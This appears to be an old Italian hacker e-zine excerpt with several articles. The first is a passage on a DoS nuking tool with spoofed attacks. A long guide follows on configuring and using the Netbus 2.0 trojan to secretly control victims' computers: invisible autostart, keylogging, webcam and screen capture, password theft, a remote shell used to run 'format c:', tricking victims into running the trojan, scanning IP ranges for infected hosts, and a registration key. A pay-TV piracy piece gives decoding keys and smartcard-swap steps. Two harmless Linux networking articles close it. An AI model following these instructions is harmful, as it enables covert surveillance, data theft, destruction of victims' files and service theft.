grido del simpatico protagonista di Postal, ci lanciamo a discernere sulla modalit preferita da tutti noi NewBies: il Simple Mode!!! Il SM altro non che una modalit che manda pacchi sporchi gi creati ad un IP di nostra scelta. Nella versione 0.85 dell'EG possibile fare un gran numero di attacchi, tra cui il gustoso Smurf. C' anche incorporato un portscanner, ma estremamente lento, e preferisco quello di Rhad. I possibili attacchi sono NesTea, Suffer3, Boink, Land, OOB, Smurf e poi il sopracitato Portscan. Le opzioni sono tante ma le spiegher nel dettaglio. Iniziamo a discutere i campi fondamentali, che sono "Destination IP" (DIP) e "Source IP" (SIP). Il primo campo mi sembra piuttosto intuitivo. Bisogna inserire l'IP del marpione che andiamo a nukkare. Il SIP serve solo per gli attacchi spoofati e inganna il nukkato facendogli credere che gli attacchi arrivino da quell'IP (se il gioco riesce, se mettete 127.0.0.1 come SIP e il nukkato lamer 100% DOC, appena contronukker si distrugger da solo...) Accanto al SIP, ci sono tre tastini: HL, SC e BC. Il primo una Host List, DOVREBBE essere una lista di host attraverso la quale possibile spoofare un pacchetto. Il secondo il Packet Spoofing Style. FINE PRIMA PARTE SpYmAsTeR ͻ Ŀ NETBUS 2.0 PRO GUIDE ٺ ͼ ***************************************************************************** Tempo impiegato: circa 6 ore Cibi assunti: un pacchetto di Mikado e un pacchetto di caramelle gelatinose alla fragola Musica: Aerosmith (I don't want to miss a thing) Pantera (Cowboys from hell, Cementery gates) Dream theater (Innocence faded) Marilyn Manson (I don't like the drugs [but the drugs like me]) Deep Purple (Highway star) U2 (With or without you) Tools usati: il cervello e la santa pazienza ***************************************************************************** Salve a tutti sono Quequero, in questo articolo cerchero' di insegnarvi ad usare al meglio tutte le funzioni del nuovo Netbus 2.0 Pro. Bando alle ciance ed iniziamo. Come tutti (o quasi) saprete il Netbus non e' altro che un trojan, cioe' uno di quei programmilli che una volta avviati si annidano tra i file del vostro computer e senza farsene accorgere si "autoeseguono" ogni volta che parte il S.O., il trojan che stiamo per esaminare e' il piu' noto ma ce ne sono altri (B.o. per esempio), il programma, come nelle sue versioni precedenti, e' composto da due file: NBSvr.exe (netbus server) e' il file che dovrete dare a chi volete infettare e NetBus.exe che e' la console dalla quale agirete ;). La prima volta che downlodiamo il proggy possiamo avviare tranquillamente anche il server e non verremo infettati visto che questo file va' configurato, facciamo quindi doppio click e vediamo cosa c'e': una finestra bianca e due pulsanti in basso "settings" & "close" clickiamo su settings e vediamo cosa appare: Accept connections= se la casella di spunta e' segnata allora chiunque potra' collegarsi al server senza chiedere il "permesso". Run on port 20034= questa e' la porta che il Netbus usa di default per connettersi al server, possiamo anche mettere 33333 oppure 12255, insomma quello che volete, questo e' un bel vantaggio dal momento che, se solo voi conoscete la porta della vittima sulla quale "gira" il server, allora solo voi potrete connettervici :) Password= bhe' credo che questa sia intuitiva, comunque se ne settate una come ad esempio "porcomondo" quando tenterete di connettervi al server lui vi chiedera' la pass e se non e' esatta allora.....NISBA. Ci siamo capiti? Visibility of server= Questa finestra ci consente di far vedere il server mentre e' in esecuzione, eccovi elencate le varie opzioni: Fully visible= totalmente visibile, in pratica una normale finestra. Minimize as trayicon= si vede l'icona del server solo sul systray (dove sta l'orologio per capirci). Only in tasklist= se viene selezionata questa allora ci accorgeremo della presenza del server solo premendo ctrl+alt+canc e guardando nella tasklist. Fully invisible= totalmente invisibile, non si puo' vedere in nessun modo ;))). Access mode= questa opzione determina cio' che possiamo fare sul computer della nostra cara vittima: Basic access: possiamo solo guardare ma non toccare, in pratica possiamo vedere i file ma non scaricarli, uplodarli o cancellarli. Spy mode access: possiamo agire in silenzio, possiamo uplodare file, guardare nelle cartelle, ma non possiamo cancellare o manipolare nulla. Fully access: da qui possiamo fare tutto ma proprio tutto, come se fossimo a casa nostra hehe ;) Autostart every windows session= dice al patch di avviarsi ogni volta che si avvia windows e per farlo mette questa stringa in regedit : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices "Netbus Server Pro"="C:\PROGRAMMI\NETBUS\NBSVR.EXE" ^---- Questa e' la locazione del patch e puo' cambiare Quindi se avete capito, per disinfettarsi dal netbus basta andare al regedit e cercare in questa locazione qualcosa di sospetto, se c'e' basta cancellare la stringa (ricordando il nome del file che puo' cambiare) riavviare il computer e cancellare quel file che "era" richiamato dalla stringa, avete capito? Se no rileggete tutto ;))) Adesso passiamo ad esaminare la console, in questa sezione non descrivero' tutti i comandi uno per uno come per il server, ma sperimenteremo le varie sezioni sul nostro amato pc. Per prima cosa andiamo sul nostro server, settiamo la password a "ciauz" e segniamo la casella "Accept connections". Apriamo la console e registriamola andando nel pannello Help|Register ed inserendo questi dati: Your name: NAG Company: Quello che volete (basta non lasciarlo vuoto) Key: FDDB7485 Fatto cio' proviamo a creare un nuovo "Host" cioe' settiamo tutte le opzioni per poter entrare nel nostro computer, per farlo andate nel menu Host|New, ci vengono chieste delle info che mi accingero' a spiegare: Destination: Un nome che volete, io usero' Quequero Host name/IP: Qui dovete inserire il nome dell'host (il vostro pc si chiama "localhost") oppure l'ip corrispondente al nostro computer, cioe' 127.0.0.1 TCP-port: lasciamo quella di default Username: lasciamolo com'e' Password: ciauz Clickiamo su ok e vediamo che appare un nuovo host oltre al primo chiamato Quequero, adesso andiamo nella directory del Netbus ed avviamo il server, fatto cio' clickiamo nella console sul terzo tasto in basso partendo da sinistra (Conntect to Host), ora possiamo divertirci ad esaminare tutte le funzionalita' di questo trojan. Andiamo sul primo tasto in a destra (quello con l'icona della finestra) e vediamo che possiamo scegliere due opzioni: System info e Cached password, la prima opzione ci da' alcune informazioni riguardo il sistema operativo della vittima e notizie sulla ram e cazzi vari, la seconda invece significa letteralmente "password nascoste" e serve per mostrarvi le password nascoste sul sistema del tizio infettato, non funziona pero' sotto winzozNT. Il secondo pulsante fa apparire un menu dal quale possiamo mandare vari tipi di messaggi (parliamo di messagebox, cioe' box ai quali si deve rispondere con "si" "no" "forse", un esempio di messagebox e' quello che ci appare quando vogliamo svuotare il cestino che ci chiede se vogliamo eliminare ad esempio il file "Sleppa.jpg" ok? credo di si) e come se non bastasse possiamo anche decidere le icone che appariranno (icona di stop, icona di informazione, icona di domanda ecc...). Ovviamente possiamo decidere il testo che ci vorremo inserire, i tasti che vogliamo far apparire e, manco a dirlo, netbus ci dira' addirittura cosa ha risposto il malcapitato. Questo menu che a prima vista sembra inutile o comunque solo "divertente" e' invece molto utile se usato nel modo appropriato, pensate che una volta ad un tizio infettato col netbus 1.7 ho uppato il patch per il 2.0 e poi gli ho mandato un messaggio che recava +o- le stesse parole "Microsoft(r) Windows(c) Message: Vai al prompt di MS-Dos e digita: patch.exe, servira' a proteggerti dal rischio di disconnessione durante l'imminente split del tuo server IRC." Bhe' pensate che coglioni vanno in giro ;)))) Una cosa che dovete assolutamente evitare di fare e' di spedire messaggi con su scritto frasi del tipo: "Formattazione in corso" oppure "Il tuo computer sta' per esplodere" ecc... Infatti noi dovremmo entrare nel computer di qualcuno in modo silenzioso, senza fargli accorgere della nostra presenza, se sarete bravi potrete collegarvi a qualcuno per mesi prima che se ne accorga, io stesso mi collegavo spesso ad un tipo e mi scaricavo dal suo cp molte cose che trovava LUI sulla rete, dopo due mesi dovevo scambiare 16 mega di file con un tipo e, non sapendo come fare, gli detti la password che usavo, scambiammo tranquillamente tutto ma poi il mio amico si diverti' a fare cazzate sul "server" e cosi' lui si disinfetto' quasi subito. Tutti voi vi sarete preoccupati almeno una volta di come tradare file per la rete, ma avevate mai pensato ad usare il netbus? Io credo di no...ringraziatemi ;))) Le altre funzioni di questo menu non serve esplicarle visto che sono piu' che intuitive, passiamo ora al 3 pulsante. Questo menu e' stata la vera evoluzione del Netbus, da qui potrete cancellare, uplodare e copiare file a piacimento, basta ricordare che la parte alta della finestra e' del nostro cp mentre quella bassa e' del computer remoto, (che fatica trovare tutti questi sinonimi per non dire "vittima" ;) l'edit box con scritto rispettivamente "local" e "remote" ci dice in quale dir ci troviamo, il pulsante con disegnata la cartella ed una freccia serve a salire di livello (in pratica ad andare nella directory superiore), l'altro serve a cancellare un file e l'ultimo a creare una nuova directory, i pulsanti in basso a sinistra servono invece a scaricare il file selezionato (dalla lista in basso) dal computer remoto oppure a caricare un file selezionato (dalla lista in alto) SUL computer remoto, l'ultimo bottone serve a fare il refresh della schermata, close serve a chiudere la finestra ;)...quasi dimenticavo, i file che vedete segnati con una linea sono quelli nascosti. 4 pulsante: "Window manager", da questa finestra potrete vedere tutto cioe' che e' in esecuzione sul computer bersaglio, ma entriamo nel dettaglio ed esaminiamo tutti i pulsanti. Show only visible windows= mostra solo le finestre visibili (cioe' quelle che il pollo ha al momento attive) Show only named windows= letteralmente "mostra tutte le finestre nominate" questa casella dovrebbe far vedere tutti processi attivi che sono sullo schermo (nomi dei pulsanti sulla barra di office, icone sul systray ecc...) se sono tutte e due deselezionate vedrete tutti i processi attivi, io vi consiglio di utilizzare solo la prima. Class= indica la classe del programma Text= da qui possiamo vedere il testo che appare in alto a destra nelle varie finestre, il bello e' che puo' essere cambiato, date slancio alla fantasia per vedere cosa potete farci heheh;))) Left, top= sono le coordinate del margine sinistro alto della finestra (il computer indica come X la parte alta a partire da sinistra e che cresce verso destra e come Y la parte in alto a sinistra del monitor che cresce verso il basso, inutile che se avete la risoluzione a 800x600 la X massima sara' 800 e la Y massima sara' 600) Width, Height= le coordinate della finestra Pwd char= se c'e' una finestra che puo' contenere una password allora da qui potete vedere con quale tipo di carattere sono sostituite le lettere e/o i numeri in genere e' "*". Is visible= se la casella non e' segnata allora la finestra selezionata in alto scomparira' e tornera' visibile solo se segnate la casella di spunta Is enabled= se non e' segnata allora la finestra selezionata verra' disabilitata e non potrete entrarvici Is checked= bho! Always on top= la finestra resta sempre in primo piano Close= chiude la finestra Focus= ora vi spiego, la finestra in qui state agendo ha il focus, cioe' la barra in alto e' blu invece che grigia, (cavolo che spiegazione) se voi selezionate una finestra a piacimento e clickate su questo tasto allora al malcapitato scomparira' la finestra che ha il focus (magari quella del mirc se sta' chattando su ircnet) e gli comparira' quella del sito porno dove sta' aspettando che l'immagine finisca di aprirsi....capito PoRcI!!! ;) Pulsante n5: Registry Manager, da qui potrete navigare nel registro del cog**one e trovare magari qualche password. Per entrare nelle varie directory dovrete inserirne manualmente una di partenza cosi' come ve le elenco: \HKEY_CLASSES_ROOT \HKEY_CURRENT_USER \HKEY_LOCAL_MACHINE \HKEY_USERS \HKEY_CURRENT_CONFIG \HKEY_DYN_DATA una volta trovata una directory che ci piace possiamo inserire o cancellare dal menu "Options" nuovi valori o nuove chiavi. Pulsante n6: Sound system, da qui si puo' abbassare o alzare i vari volumi sul computer remoto, (a mio modesto parere credo che potevano anche risparmiarsi la fatica di aggiungere questa opzione ) vista la semplicita' e l'intuitivita' dei vari comandi non mi dilunghero' ulteriormente. Pulsantino n7: Plugin manager, se avete dei plug-in per Netbus potrete avviarli da qui. Pulsantello n8: Port redirect, puo' essere utilizzato come un piccolo server proxy in quanto redirige i dati da una porta ad un'altra provate a fare qualcosa e capirete ;)) Button n9: Application redirect, questa meravigliosa opzione ci consente di redirigere il command.com o il cmd.exe se si usa winzozNT, ma a quale utilita'? Semplicissimo, scrivete nella prima casella"c:\windows\command.com" (ricordate che dovete essere collegati al vostro computer tramite il server per eseguire le operazioni) e clickate su "Start app", come per magia avrete un prompt di dos remoto da utilizzare eccovi un esempio pratico, se la vostra vittima e' un nemico e si trova sulla vostra blacklist allora redirigete il command.com e scrivete format c: /autotest dhehihi miiitico! Pulsantes numeros 10: File actions, il menu in questione si divide in 5 sottomenu: Execute file= esegue un file Play sound= esegue un suono Show image= mostra un immagine Open document= apre un documento Print document= stampa un documento Non deridetemi perche' descrivo anche queste cose, ma dal momento che mi e' stato chiesto di scrivere una guida dettagliata sul Netbus 2.0 pro io la sto facendo!!! ;))) Bottoncino n11: Spy functions, anche questo si divide in alcuni sottomenu, 4 per la precisione: Keyboard listen= ci mostra che tasti sono stati premuti sul cp remoto Capture screen image= cattura l'immagine attualmente presente sul cp remoto Capture camera video= cattura l'immagine di una telecamera (se presente e attiva) Record sound= registra i suoni che percepisce il microfono del computer Numero 12 Presente Vai alla lavagna no! Mi so' giustificato Allora ti metto impreparato e io ti do' fuoco alla casa Io so' ricco e ne tengo 2 di case allora di do' fuoco alla moglie Mi faresti solo un favore vabbe' mi arrendo.....scusi ma lei che macchina ha? Un Mercedes Quanto l'ha pagato? 80 milioni Che per caso la targa e' AX 789 GB? Si perche'? No.....cosi'...tanto per sapere!!! Basta con le cazzate, questo menu serve a spegnere il computer, resettare ecc ecc ecc... 13 A lavoro!!!: Cool functions, ha 6 sottomenu ecco a cosa servono (ufff non ce la faccio +) Client chat= manda alla vittima di messagebox recanti i nostri messaggi CD-ROM=apre e chiude il cd-rom, sembra stupido ma fa impaurire molta gente Keyboard= da qui possiamo decidere se disabilitare qualche lettera della tastiera, (provate a disabilitare la "a" e la "e" ;) possiamo anche far emettere un suono ogni volta che un tasto e' premuto, (questo e' mentalmente DEVASTANTE) oppure possiamo riabilitare tutto Mouse= scambiamo il tasto che usiamo per fare il normale click con quell'altro e possiamo riabilitare i tasti normali Go to URL= apre un browser e va ad un url a NOSTRO piacimento, provate ad aprire 15-20 browser e vedrete il divertimento Send text= il pollo sta' su IRC? Bene mentre parla con qualcunA <---notare la maiuscola, cliccate su questa funzione e scrivete cose come: "quanto vuoi?" "io sono gay e tu?" "vuoi ballare il mambo del materasso con me?", ricordate di inserire questo simblo per far premere automaticamente invio '~', dopo cio' vi garantisco che ne vedrete delle belle, non ci credete? Chiedetemi qualche log ;))))) 14! Agli ordini: Settings che e' diviso in due menu a tendina cioe': General=da qui si puo' scegliere la directory di download, cioe' quella in cui vengono messi i file che avete scaricato dal server, la lingua e se volete comprimere i file durante il trasferimento (io l'ho selezionata). "Network"= qui avrete davanti due opzioni I am not behind a firewall or proxy=se generalmente non usate un sock selezionate questa I am behind a SOCKS4 compatible proxy=se invece lo usate selezionate questa, nel campo host inserite l'indirizzo del proxy, per porta usate la 1080 visto che per la maggior parte delle volte va bene e cancellate l'user id che e' presente lasciando il campo vuoto N.B Se non sai cosa mettere usa la prima visto che solo i + esperti lo fanno ;) 15: Selezionate un host e cliccate qui per connettervici 16: Disconnect from host, indovinate un po'? 17: crea un nuovo host 18: Find Host: avete molti soldi e potete stare collegati su Internet per molto tempo? Bhe' beati voi, io non posso! A parte tutto questo tasto avvia uno scan e vi trova tutti i polli infetti con il Netbus 2.0, (ricordate che netbus 1.6 e 1.7 non sono compatibili col 2.0) ma andiamo a vedere in dettaglio come funziona: Scan from: ci chiede da quale "range" di IP vogliamo iniziare a scannare la rete, io consiglio 212.216.1.1 (se avete tempo anche da 212.1.1.1) to: qui inseriamo il range fino al quale vogliamo arrivare se avete usato come IP di partenza 212.216.1.1 allora metterete 212.255.255 TCP-port: la porta che volete scannare, lasciate quella di default Sockets: 10 o 20 Found components: questa e' la lista dei componenti che lo scan e' riuscito a trovare, gli IP elencati li dovrete inserire nel campo "Host name/IP" che abbiamo incontato precedentemente quando abbiamo creato un nuovo Host 18 ultima fermataaaaaa: da qui potrete programmare delle azioni da compiere sul computer host della vittima, e' una sorta di tabella di marcia che fa determinate cose (da voi scelte) a determinate ore, ecco la tabella delle opzioni disponibili: Command Param1 Param2 Param3 MessageBox Information Incontriamoci alle 12. DeleteFile C:\Temp.tmp NewFolder C:\New DownloadFile C:\RemoteFolder\File.txt C:\LocalFolder UploadFile C:\RemoteFolder C:\LocalFolder\File.txt AddRegData \hkey_local_user\temp Peppino ciao DeleteRegName \hkey_local_user\temp StringName RunPlugin Plugin.dll EntryPoint Params ExecuteFile C:\Job.bat PlaySound C:\suoni\Sound.wav ShowImage C:\porno\Image.jpg OpenCD 1 ExitWindows DisableKeys ABC KeyClick 1 SendText ABC SwapMouse 1 Negli esempi con "1" si intende "vero" (e' il classico valore booleano vero/falso) ("0" significa falso). Ora spieghero' tutto, la colonna "Command" elenca tutti i comandi disponibili e che sono "standard", la colonna "Param1" indica il comando da eseguire e cosi' via per le altre colonne ecco qualche esempio: Nel primo caso creiamo un Messagebox con l'icona di informazione e recante il messaggio "Incontriamoci alle 12" Nel secondo caso cancelliamo un file sul disco C che si chiama temp.tmp Nel terzo caso creiamo una cartella che si chiama new Nel quarto caso scarichiamo un file dall'host che si trova in C:\RemoteFolder\File.txt e lo mettiamo in C:\LocalFolder sul nostro pc Nel 5 caso creiamo una chiave nel registro di winzoz in \hkey_local_user\temp, la chiamiamo "Peppino" e ci infiliamo dentro la stringa "ciao" e cosi' via per gli altri OKI? Vediamo ora come si puo' uplodare un vecchio patch e cosa possiamo fare nel computer "Amico". Aggiornare il patch dalle versioni precedenti del Netbus a quella nuova e' semplicissimo, basta connettersi ad un Host, uppare il nuovo patch e dal comando "Start program" (dal momento che siamo connessi con la versione vecchia dovremo far partire il patch con la console vecchia) scrivere ad esempio "c:\patch.exe" e dovrebbe andare bene, ma perche' uso il condizionale? Bhe' il motivo c'e' ed e' anche molto importante. Qualche giorno fa' ho aggiornato ad un tizio il patch con quello nuovo, ma non capivo come mai non riuscivo a connettermi, prima di far eseguire il server sul computer Host l'avevo configurato in modo da far accettare automaticamente la connessione e da renderlo invisibile. Nonostante tutto la connessione non avveniva, ma perche'? Io credevo che il server salvasse tutti i settaggi all'interno del file stesso, ma la realta' non e' stata questa infatti tutti le opzioni vengono salvate all'interno del registro di winzoz e quindi il tipo che ho usato come cavia molto probabilmente avra' visto apparire davanti ai propri occhi un programmino che gli chiedeva di accettare una connessione a qualcuno, e senza pensarci due volte ha chiuso il programma, come rimediamo a questo inconveniente? Risposta: creando noi stessi un programmino che crei nel registro del nostro amico tutti i settaggi necessari (vi ricordo che io sto usando la versione 2.0b e non so' se esistono altre versioni, quindi se il problema e' stato risolto fatemelo sapere). Vorrei molto darvi il codice del programma, lo stavo creando ma, per qualche motivo a me ignoto, quando scrivo #include dopo la compilazione ho la modica cifra di 102 errori, sto' inkazzatissimo e spero di potervi fornire in seguito il codice. Prima di chiudere vorrei darvi gli ultimi consigli, avete presente l'icona del netbus server, vi suggerisco di toglierla usando ad esempio un tool come Borland Resource Workshop o simili, vi aiutera' molto a non destare sospetti, andate anche a spulciare il registro di winzoz per scovare qualche password e aprite sempre il "Keyboard listen" che puo' regalarvi molte sorprese, inoltre se credete che qualcuno sia nel vostro computer provate a nukare la porta 12345 se credete che l'intruso stia usando il Netbus 1.6-1.7 e la porta 20034 se credete che stia usando invece il Netbus 2.0, se proprio non smettono di farvi scherzi (o volete semplicemente verificare che qualcuno sia effettivamente sul vostro cp) provate ad avviare "netstat" dal prompt di dos (se avete winzoz bastera' scrivere netstat al prompt) e lui vi dira' tutte le porte a cui siete connessi, se vedete la porta 80 non vi preoccupate perche' e' quella e' del web, ma se vedete porte sospette nukatele e vi assicuro che tutti i guai termineranno. ;)))) Ciauzzzzzzz da Quequero P.S. Vorrei rignraziare la mia adorata Francesca che mi sopporta ormai da due anni, vorrei ringraziare anche Neural_Noise perche' e' sulla faccia della terra e +Malattia perche' e' sempre molto disponibile con me, ciauzzzzzz P.S.S Ringrazio e saluto anche Nobody88 che mi ha dato l'opportunita' di scrivere in questa e-zine (anche se se ne pentira' ;) P.S.S.S Se avete commenti da fare o volete mandarmi qualche bestemmia nuova e/o particolarmente coreografica oppure volete dirmi "Grazie Quequero mi hai aperto un mondo nuovo" (hehe magari ;) scrivete a Blackfireshell@hotmail.com e tanto che ci siete visitate anche il mio sito http://quequero.cjb.net ariciauzzzzzz ͻ Ŀ BREVI SAGGI DI NETWORKING SOTTO LINUX ٺ ͼ Articolo redatto da Alpha-666 o Zeros Irc.tin.it #hackernow Articolo N1 Configurazione del router Linux In questo e nei prossimi articoli tratteremo come rendere un proprio computer Linux in un vero e proprio server per reti locali.Tramite un server Linux e' possibile far collegare contemporaneamente tutti gli utenti di una rete locale a Internet disponendo di un solo abbonamento a un ISP. A tal fine e' necessario che il sistema operativo Linux sia stato compilato con la funzione IP Masquerade abilitata'. In questo caso il server Linux funziona da gateway per la rete locale e nasconde all'esterno i computer interni. Dunque il Provaider vedra' solo il server Linux. Una rete che accede a Internet sfruttanndo la funzione IP Masquerade di un server Linux, se configurata correttamente, puo' avere una sicurezza superiore a quella di una rete protetta con firewall. I computer della rete locale possono essere dotati di sistemi operativi differenti ad esempio Windows 95, Windows NT, Mac, Linux e cosi' via. La procedura e' molto semplice: 1)Il server Linux server.retel si colleghi tramite il protocollo PPP a un ISP che assegna ai client un indirizzo IP dinamico; 2)I computer della rete locale abbiano indirizzi IP delle rete che non si collegano a Internet esempio: 192.168.1.10 server.retel 192.168.1.11 num1.retel 192.168.1.12 num2.retel 192.168.1.13 num3.retel 3)il server Linux server.retel sia anche configurato come DNS server per la rete locale, poi vedremo come in assenza di DNS interno sara' possibile utilizzare quello dell'ISP configurato adeguatamente come tutti i computer della rete interna. Configurazione del router Linux server.retel 1)Installare il software per ottenere la funzione IP Masquerading: rpm -ivh ipfwadm-2.3.0-6i386.rpm oppure specificando il percorso completo: rpm -ivh /mnt/cdrom/RedHat/RPMS/ipfwadm-2.3.0-6.i386.rpm 2)Modificare il file /etc/sysconfig/network per abilitare il server Linux a instradare i pacchetti IP (cioe' a eseguire il "forwarding" dei pacchetti) sostituendo la riga FORWARD_IPV4=false con : FORWARD_IPV4=true 3)Create un nuovo file /etc/ppp/ip-up.local e fate in modo che abbia gli stessi permessi del file /etc/ppp/ip-up. Per fare cio' basta fare eseguire il seguente comando: cp /etc/ppp/ip-up /etc/ppp/ip-up.local. Il file /etc/ppp/ip-up e' uno script che viene eseguito subito dopo l'attivazione dell'interfaccia PPP. Subito dopo di questo per default viene eseguito lo script /etc/ppp/ip-up.local il quale deve contenere esclusivamente le seguenti righe relative alle regole di instardamento, comunque se volete potete immetere in una shell i comandi ipfwadm riportati qui di seguito: #!/bin/bash ipfwadm -F -p deny ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0 che hanno il seguente significato idfwadm -F -p deny: -F e' il parametro per impostare le regole di instradamento -p e' il parametro per modificare le regole di instradamento deny si usa per impedire l'instardamento dei pacchetti ipfwadm -F -a m -S 192.168.1.0/24 -D 0.0.0.0/0 e' una forma particolare di: ipfwadm -F -a m -S xxx.xxx.xxx.xxx/y -D 0.0.0.0/0 dove xxx.xxx.xxx.xxx e' l'IP della rete locale, mentre y assume il seguente valore in funzione del netmask: Netmask X Tipo di collegamento fra router e computer della rete locale 255.0.0.0 8 Classe A 255.255.0.0 18 Classe B 255.255.255.0 24 Classe C 255.255.255.255 32 Point-to-Point -F e' il parametro per impostare le regole di instradamento; -a serve per aggiungere nuove regole di instradamento alle precedenti impostate; -m chiede di attivare la funzione masquerade sui pacchetti da instradare, che appariranno come se fossero partiti dal server Linux anziche' dai computer della rete locale interna; -S serve per specificare la sorgente dei pacchetti da instradare verso l'esterno nella forma indirizzo rete locale/netmask, come specificato sopra xxx.xxx.xxx.xxx/y; -D si usa per specificare il destinatario dei pacchetti da installare. 0.0.0.0/0 si usa per indicare qualsiasi destinatario. ͻ Ŀ TV HACKING E SATELLITE CRACKING ٺ ͼ Hello a tutti oggi mi sento molto scazzato cmq voglio introdurvi alla tematica del tv hacking e del satellite craking. Prima di iniziare prepongo che mi son documentato molto sull'argomento grazie soppratutto a vari gruppi americani: Dss , hybrid , acidline ,noiseSPeaKEr che secondo me posso essere considerati nell'elite della scena. Ringraziandoli metre leggeranno la mia squallida trad di questo articolo , ringrazio in particolare DssMaker E freeKev. Allora iniziamo col caro tv hacking esistono ovviamente dei cari prog che consentono la decodifica dei dati ovviamente cryptati. Bhe io mi son chiesto ma come cazz fate ad avere le info e la risposta ovviamente : "lavoriamo nell' ambiente o abbiamo dei manuali" [un poco me la aspettavo]. Bhe per quanto riguarda la documentazione ne trovate a terabyte veramente e anche i prog. Una bella ricerca su astalavista su tv hack , pay tv , satellite hobbist . Mha ora in particolare che cazz bisogna avere per il tv hacking bhe una cara scheda tv [io ho la tvwie99 non molto supportata ma cmq va bene, ps la mirovideo anche se costosa e' la migliore di tutte a mio modesto parere] . Questi decoder software si basano su standard di vari dipi di decriptazione in particolare i piu' famosi girano su des. Bha in particolare ho analizzato freetv un ottimo decoder che emula il nagravision . Bhe ora fin qui tutti dirano : mitico!!! . Bhe non direi inanzitutto per usarli ci voglino delle key che son fatte per accedere a determinati canali o solo x le freq dei canali stessi , bhe io sinceramente di quelle che ho provato ho notato solo lo schifo che fanno e quindi mano alla documentazione me ne son fatta una tutta mia x decodificare la banda di canali tedeschi , ps [non tutti ma molti] bhe copia/incolla: 11 12 13 16 17 18 19 13 14 15 16 0 1 2 3 21 22 23 24 18 19 20 21 23 24 25 26 26 27 28 29 19 20 21 22 11 12 13 14 28 29 30 31 4 5 6 7 22 23 24 25 5 6 7 8 31 0 1 2 27 28 29 30 3 4 5 6 8 9 10 11 14 15 16 17 25 26 27 28 15 16 17 18 7 8 9 10 17 18 19 20 29 30 31 0 24 25 26 27 20 21 22 23 1 2 3 4 6 7 8 9 12 13 14 15 9 10 11 12 2 3 4 5 30 31 0 1 24 25 26 27 2 3 4 5 31 0 1 2 7 8 9 10 13 14 15 16 26 27 28 29 14 15 16 17 18 19 20 21 22 23 24 25 5 6 7 8 19 20 21 22 12 13 14 15 17 18 19 20 27 28 29 30 10 11 12 13 11 12 13 14 6 7 8 9 1 2 3 4 0 1 2 3 4 5 6 7 3 4 5 6 8 9 10 11 15 16 17 18 23 24 25 26 29 30 31 0 25 26 27 28 9 10 11 12 21 22 23 24 20 21 22 23 30 31 0 1 16 17 18 19 28 29 30 31 questi li dovete mettere in un file che denominerete key.ini standard x molti prog ... E ora puttana eva passiamo al satellitare , premetto che lo ho da poco ma nel giro di due giorni mi son messo canal plus , palco e molto altro ovviamente a scrocco. Bhe allora ovviamente i decryptatori funzano solo alcuni e per alcuni canali che dal vostro caro televisore vedrete neri. Bhe ma poi ci son quelli a pagamento . Bhe li e' un rischio usarli ovviamente perche' dovrete modificare l'eprom della vostra cara smartcard [o se ve ne fate arrrivare una tradata fate prima cmq mi occupero' del primo metodo] . Allora prima di tutto collegate il vostro decoder al pc Seriale decoder [com] ------------[com] pc Anche qui esistono una infinita'di programmini serissimi per ogni evenienza cmq : primo passo : copia eprom originale su hd secondo passo: staccate il modem del decoder dalla presa telefono [non volete mica far sapere a tutti quando lo usate che avete una smart diversa [ps il modem se lo fate lo dovete staccare per sempre [quello del decoder intendo]] . terzo passo : bhe recuperatevi dai vostri infiniti trade una eprom diversa con funzioni diverse . quarto passo : [sempre se il primo e il terzo li avete fatti decentemente] accendete la vostra cara tv e diventate teledipendenti Bha cmq a me interessava avere un accesso satellitare a internet che come freq in downlink e'di 400kb/s fissi e quindi mi son informato : esistono vari tipi di schede come la mitica direcpc [www.direcpc.com] che permettono tutto cio' [in america a prezzi molto ragionevoli , in Italia lascio a voi indovinare] . Bhe allora esiste uno dice mi compro la scheda e mi pago sti soldazzi x ricevere o senno' seconda ipotesi uno dice mi compro la scheda e mi sfrutto il mio caro abbo prova ... epoi? Bhe in Italia Flashnet e'il fornitore di servizi di questo tipo [insieme ad un'altra agenzia veneta a quanto so' io] che si collega direttamente a un centro in germania che poi trasferisce la richiesta in America [Washington x la precisione] > bhe e se io non volessi far tutto sto giro? . Allora il caro provider [O meglio i cari provider ] che offrono il servizio sono AOL [america on line ] e due provider minori consociati e direcpc che e' anche lui provider . Bhe io non dico nulla ma penso e credo fermamente che [tra l' altro AOL utilizza normali account utenti] le possibilita' di tutto cio' [ un account li lo ha pure mio nonno ]. Considerazioni finali: Allora non voglio nessun rompicoglioni che mi chieda un account , che mi chieda di sendargli un programma di cui ho parlato o che mi chieda di regalargli un eprom . Accetto volentieri persone che gia' se ne intendono dell' argomento per cercare di chiarirci insieme le idee , che se ne intendano di internet via satellite] e magari qualcuno che mi spieghi riguardo skyweb dove cazz si possono recuperare le sorgenti che non ho la scheda scatfast... ZeroCool Provoces the best you will die like a slave ͻ Ŀ BREVI SAGGI DI NETWORKING SOTTO LINUX ٺ ͼ Articolo redatto da Alpha-666 o Zeros Irc.tin.it #hackernow Articolo N2 Configurazione del DNS server. Per risolvere gli indirizzi IP di una rete TCP/IP si usa il file /etc/host, il sistema DNS o entrambi i metodi. Qui di seguito vedremo come configurare il server Linux come nemeserver per fornire il servizio DNS agli utenti della rete locale. Per poter far cio' e' necessario osservare i punti che seguono: 1)Avere installato il protocollo TCP/IP; 2)Aver installato Linux come DNS server; 3)Configurare il file /etc/resolv.conf, verificare il file /etc/host.conf; 4)Configurare il file /etc/name.boot, il principale file di configurazione del deamon named che gestisce il DNS-server. Il deamon named che viene eseguito all'avvio del sistema e rimane in continua attesa di richieste da parte dei client sulla porta 53. Questo file comprende l'elenco dei file contenenti le informazioni di zona, cioe' file che servono per risolvere un nome nel rispettivo indirizzo IP per un dominio, e l'elenco di altri nameserver; 5)Configurare il file della cache /var/named/named.ca, cioe' il file che contiene gli indirizzi IP dei nameserver di root del sistema DNS, cioe' di quei computer, sparsi nel mondo, che conoscono gli indirizzi IP dei nameserver di primo livello (cioe' dei domini .com .net .org .it .gov .mil ecc). Qualora il nostro nameserver non sia in grado di risolvere un indirizzo IP con i suoi file di zona inoltra la richiesta direttamente a un nameserver di root; 6)Configurare il file contenenti le informazioni delle zone. ** NB:Per verificare che Linux sia stato installato come DNS server avvaletevi del Package Management del Pannello di controlo, e assicuratevi che sia installato il file /networking/caching-nameserver1.1-4 , il cui programma principale e' named. Nel caso mancasse installatelo. ** Vogliamo configurare il computer server.retel di una rete composta dai seguenti computer: 192.168.1.10 server.retel server 192.168.1.11 num1.retel num1 192.168.1.12 num2.retel num2 192.168.1.13 num3.retel num3 i file di server.retel devono essere modificati come segue: 